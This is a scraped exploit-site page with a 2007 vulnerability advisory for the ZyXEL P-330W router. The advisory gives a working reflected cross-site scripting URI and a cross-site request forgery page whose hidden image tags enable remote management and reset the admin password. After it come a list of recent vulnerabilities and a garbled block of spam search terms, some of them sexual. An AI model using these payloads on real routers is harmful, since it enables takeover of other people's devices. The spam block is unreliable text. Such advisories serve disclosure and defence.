exploits , vulnerabilities , articles , ZyXEL P-330W Multiple Vulnerabilities

Title	ZyXEL P-330W Multiple Vulnerabilities
Published	2007-12-25-12:00AM
Updated	2008-01-02-11:00PM
Class	Input Validation Error
CVE
Remote	Yes
Local	No
Credit	santa_clause@hush.com is credited with the discovery of these vulnerabilities.
Vulnerable	ZyXEL P330W 0
Not Vulnerable
Code	Attackers can exploit these issues by enticing an unsuspecting user to follow a malicious URI.The following example URI is available:http://www.example.com:<router_port>/ping.asp?pingstr=â?><script>alert("M erry Christams")</script>The following cross-site request-forgery example was provided:<html><head><title>Chirstmastime is Here</title></head><body> <img src="http://www.example.com:<router_port>/goform/formRmtMgt?webWanAccess =ON&remoteMgtPort=80 80&pingWANEnabled=&upnpEnabled=&WANPassThru1=&WANPassThru2=&WANPassT hru3=& submit-url=%2Fremotemgt.asp" width="0" height="0"> <img src="http://www.example.com:<router_port>/goform/formPasswordSetup?usern ame=admin&newpass=santa_pw &confpass=santa_pw&submit-url=%2Fstatus.asp&save=Save" width="0" height="0"> </body> </html>
TXT

Vulnerabilities - newest 10 RSS | More

2009-12-16 Merkaartor Insecure Temporary File Creation Vulnerability
2009-12-15 TYPO3 Watchdog (aba_watchdog) Unspecified Information Disclosure Vulnerability
2009-12-15 PostgreSQL Index Function Session State Modification Local Privilege Escalation Vulnerability
2009-12-15 PostgreSQL NULL Character CA SSL Certificate Validation Security Bypass Vulnerability
2009-12-15 IBM DB2 prior to 9.5 Fix Pack 5 Multiple Unspecified Security Vulnerabilities
2009-12-15 Sun Ray Server Software Desktop Session Handling Local Security Bypass Vulnerability
2009-12-15 Mozilla Firefox Sage Extension RSS Feeds Cross Domain Scripting Vulnerability
2009-12-15 Adobe Reader and Acrobat (CVE-2009-4324) Remote Code Execution Vulnerability
2009-12-14 Microsoft Protected Extensible Authentication Protocol Authentication Bypass Vulnerability
2009-12-14 Google Chrome DNS Pre-Fetching Proxy Cache Information Disclosure Vulnerability

SECURITY RSS FEEDS

Advertising

Copyright 2007, SecurityDot
Wed, 16 Dec 2009 08:24:51 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
www.tbscb. \& remote fil Tagger LE www.trisha apachemod_ mambo Remo Pleyboy xx Womensex pdshop www.zhuany amater yabsoft Vulnerabil ms06-068 indian sex Ww india s maxcpm.inf bbs.1shopi desnudas pporg.com mysextv ne www.taobzn 2.6.9-023s 200 /compo www.guangt farsi news sex fuck 1.4 FrontP ArtisBugil Lao Songs dmoz.im epmap (1 search/exp www pinc ZaRuB www.xttop. 9.2.4 bind Xxlsex www.ztseal phpforge CMS is Fre www.shafa0 tk04.com shopping50 www.sahdon IceWarp We co v Black Slut www.cz7788